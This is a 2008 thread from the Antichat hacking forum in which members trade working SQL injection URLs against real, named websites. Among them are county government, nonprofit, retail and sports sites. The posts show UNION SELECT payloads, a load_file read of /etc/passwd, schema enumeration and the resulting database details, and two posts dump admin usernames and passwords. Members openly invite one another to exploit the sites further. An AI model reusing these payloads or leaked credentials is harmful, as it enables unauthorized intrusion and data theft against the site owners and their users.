HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.06.2008, 17:40
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

понаходил скули...
Цитата:
http://www.elson.ru/cgi-bin/dsp.pl?mode=add_to_basket&goods_id=999999+union+se lect+1/*
Цитата:
http://www.hitech-online.ru/boards/pc/weblinks.html?start=9999+union+select+1/*
Цитата:
http://www.rusrek.com/ru/weather/?login=1'+union+select+1/*&password=default
Цитата:
http://www.knife.ru/index.php?1=1&do=list&treeid=9999999+union+select+ 1/*
Цитата:
http://www.abcinfo.ru/index.php?l=99999+union+select+1/*
Цитата:
http://salonkrasotka.ru/catalog2.php?customerid=9999999+union+select+1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2/*
Цитата:
http://www.child-toys.ru/view_catalog.php?mtypeid=-1+union+select+1,version(),3,4,5/*
Цитата:
http://www.l-gifts.ru/view_catalog.php?type_low=-1+union+select+version(),2/*
Цитата:
http://www.ab-tuning.ru/view_catalog.php?code=1'
Цитата:
http://www.ceramicgroup.ru/view_catalog.php?razdel=-1
Цитата:
http://www.whitegoods.ru/selection/?cID=175&min_price=%D0%BE%D1%82&max_price=%D0%B4%D 0%BE&boxes[aad]=310&boxes[absolut]=99999)+union+select+1,2,3,4,5
,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*
некоторые непохек..) разкручивайте кто может.. и сюда..)

_____________________________________________
где же моя подпись?

Последний раз редактировалось sabe; 24.06.2008 в 17:44..
 
Ответить с цитированием

  #2  
Старый 24.06.2008, 22:07
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию

Продолжим тему авиа**** и лоад_филе:
Код:
http://www.aviaport.ru/directory/publishers/?id=-21+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,load_file(0x2f6574632f706173737764),27,28,29,30/*
Версион, юзер, датабэйс через cast(version()/**/AS/**/binary)

Последний раз редактировалось Ch3ck; 24.06.2008 в 22:15..
 
Ответить с цитированием

  #3  
Старый 25.06.2008, 10:59
Laipone
Новичок
Регистрация: 14.08.2007
Сообщений: 1
С нами: 9864263

Репутация: -1
По умолчанию

http://www.rotawheels.com/news.php?id=-3+union+select+1,user(),version(),database(),5/*
4.1.20-log 339068_rota@172.16.10.83 339068_rotanews

http://www.phpbuddy.com/article.php?id=-1+union+select+concat_ws(0x3a,version(),user(),dat abase()),2,3,4,5,6
4.1.21-standardhpbud22_phpbudd@localhosthpbud22_phpbu ddy

Последний раз редактировалось Laipone; 25.06.2008 в 19:00..
 
Ответить с цитированием

  #4  
Старый 25.06.2008, 15:18
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
С нами: 9625938

Репутация: 32
Thumbs up

Крупный игровой портал : apollo.lv

Цитата:
http://cs.apollo.lv/stats/weapon.php?id=20+limit+0+union+select+1,TABLE_NAME ,3,4,5,6,7,8,9,10,11,12,13,TABLE_SCHEMA,15,16,17,1 8,19+from+information_schema.columns/*

Последний раз редактировалось DJ ][akep; 25.06.2008 в 15:22..
 
Ответить с цитированием

  #5  
Старый 25.06.2008, 22:01
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

PR 5
Цитата:
http://www.nashuapride.com/events/event_info.php?eventid=-1+union+select+1,2,concat_ws(0x3a3a,version(),user (),database()),4,5,6,7,8,9/*
4.1.20::pride06@localhost::pride
PR 4
Цитата:
http://www.thegenesisgroup.org/calendar/event_info.php?eventid=-16+union+select+1,2,unhex(hex(concat_ws(0x3a3a,ver sion(),user(),database()))),4,null,6,7/*
4.1.12::root@localhost::genesis_grou
рутовая запись.. finish him!!!

PR 4
Цитата:
http://www.flaglercounty.org/garbage/pages.php?PID=-999951+union+select+1,2,3,4,concat_ws(0x3a3a,versi on(),user(),database()),null,7,8/*
5.0.22-community-nt::root@psn.flaglercounty.org::flaglercounty_org
рутовая запись... Finish him!!!

PR 4
Цитата:
http://www.moeck.com/pages.php?pid=-800+union+select+1,2,concat_ws(0x3a3a,version(),us er(),database()),null,5,6,7/*
4.0.27-max-log::dbo145510923@212.227.127.166::db145510923
file_priv нету

PR 3
Цитата:
http://www.esateys.com/pages.php?pID=-80+union+select+1,2,3,4,5,concat(version(),0x3a3a, user(),0x3a3a,database()),7,8,9,10/*
4.1.22-max-log::eCart@linhostssl06.prod.mesa1.secureserver.ne t::eCart
file_priv нет

PR 3
Цитата:
http://fmccrustel.ru/pages.php?pid=-18+union+select+1,concat(version(),0x3a3a,user(),0 x3a3a,database()),3,4/*
5.0.45-log::fmccel@localhost::fmccel
file_priv нет, в базе ничего интересного нету

PR 2
Цитата:
http://www.psplaw.co.uk/preview/pages.php?pid=-2+union+select+1,concat_ws(0x3a3a,version(),user() ,database()),3/*
4.1.22-standard::powellsp_user@localhost::powellsp_data
file_priv нету

Последний раз редактировалось gisTy; 26.06.2008 в 06:45..
 
Ответить с цитированием

  #6  
Старый 27.06.2008, 01:51
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

gisTy И так .. начнём !
Цитата:
http://www.flaglercounty.org/garbage/pages.php?PID=-999951+union+select+1,2,3,4,concat_ws(0x3a,usernam e,password),null,7,8+from+fc_current.adminlogin/*
webmaster:taterdome
Цитата:
http://www.flaglercounty.org/garbage/pages.php?PID=-999951+union+select+1,2,3,4,concat_ws(0x3a,usernam e,password),null,7,8+from+ffr_cal.ltw_usersv4/*
Webmaster:RbgJxoUvwG7qk
Цитата:
http://www.flaglercounty.org/garbage/pages.php?PID=-999951+union+select+1,2,3,4,concat_ws(0x3a,usernam e,password),null,7,8+from+ffr_ashnews.ashprojects_ users/*
steve;peanut
================================================== ===
http://www.thegenesisgroup.org/calendar/event_info.php?eventid=-16+union+select+1,2,convert(concat_ws(0x3a,user,pa ssword,host),binary),4,null,6,7+from+mysql.user/*
доступ рутовый без пароля .. но только с локалхоста и прилогоющих
 
Ответить с цитированием

  #7  
Старый 27.06.2008, 13:10
Phm.phx
Постоянный
Регистрация: 12.01.2008
Сообщений: 336
С нами: 9646824

Репутация: 598
По умолчанию

http://www.rozymnuk.com.ua/?chek=listgoods&id_categories=165'
 
Ответить с цитированием

  #8  
Старый 27.06.2008, 16:43
Mike 007
Познающий
Регистрация: 04.04.2007
Сообщений: 54
С нами: 10054253

Репутация: 86
Cool

Код:
http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,concat_ws(0x3a,database(),0x3a,user(),0x3a,version()),3/*
Помогите раскрутить доконца

globalwaterfoundation_org_-_1
globalwater@web2.4what.net
5.0.37-community-log


Код:
http://www.ewb-usa.org/news.php?ID=-1+order+by+1/*
Код:
http://www.english-zone.com/index.php?ID=-1'
Код:
http://musicsclub.com/index.php?id=-1+union+select+1,2,3,4/*
Код:
http://www.velostyle.com.ua/index.php?id=-1'

Последний раз редактировалось Mike 007; 27.06.2008 в 17:14..
 
Ответить с цитированием

  #9  
Старый 27.06.2008, 16:57
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

Цитата:
Сообщение от Mike 007  
Код:
http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,concat_ws(0x3a,database(),0x3a,user(),0x3a,version()),3/*
Помогите раскрутить доконца

globalwaterfoundation_org_-_1
globalwater@web2.4what.net
5.0.37-community-log
Цитата:
http://www.globalwaterfoundation.org/news.php?id=-1+union+select+1,concat_ws(0x3a,user_username,user _password),3+from+wma_users+limit+0,1/*
4what:4what
 
Ответить с цитированием

  #10  
Старый 27.06.2008, 19:13
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию

Цитата:
http://www.ontariohockeyleague.com/events/pop.php?id=99999+union+select+1,2,3,VERSION(),5,6, 7,8/*
version: 5.0.22-log
user: newsport@node1.leaguestat.com
database: ohl

=============================================
Цитата:
http://www.omn.ru/news_text.php?id=99999+union+select+1,2,3,version( ),5,6,7,8/*
version: 4.0.27-log
user: modest_hash@zvm7.host.ru
database: modest?hash

=============================================
Цитата:
http://www.world-challenge.com/news/story.php?ID=99999+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,version(),16,17/*
version: 4.0.27-nt-log
user: sccawc@phoebe.dvti.com
database: worldchallenge

=============================================
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.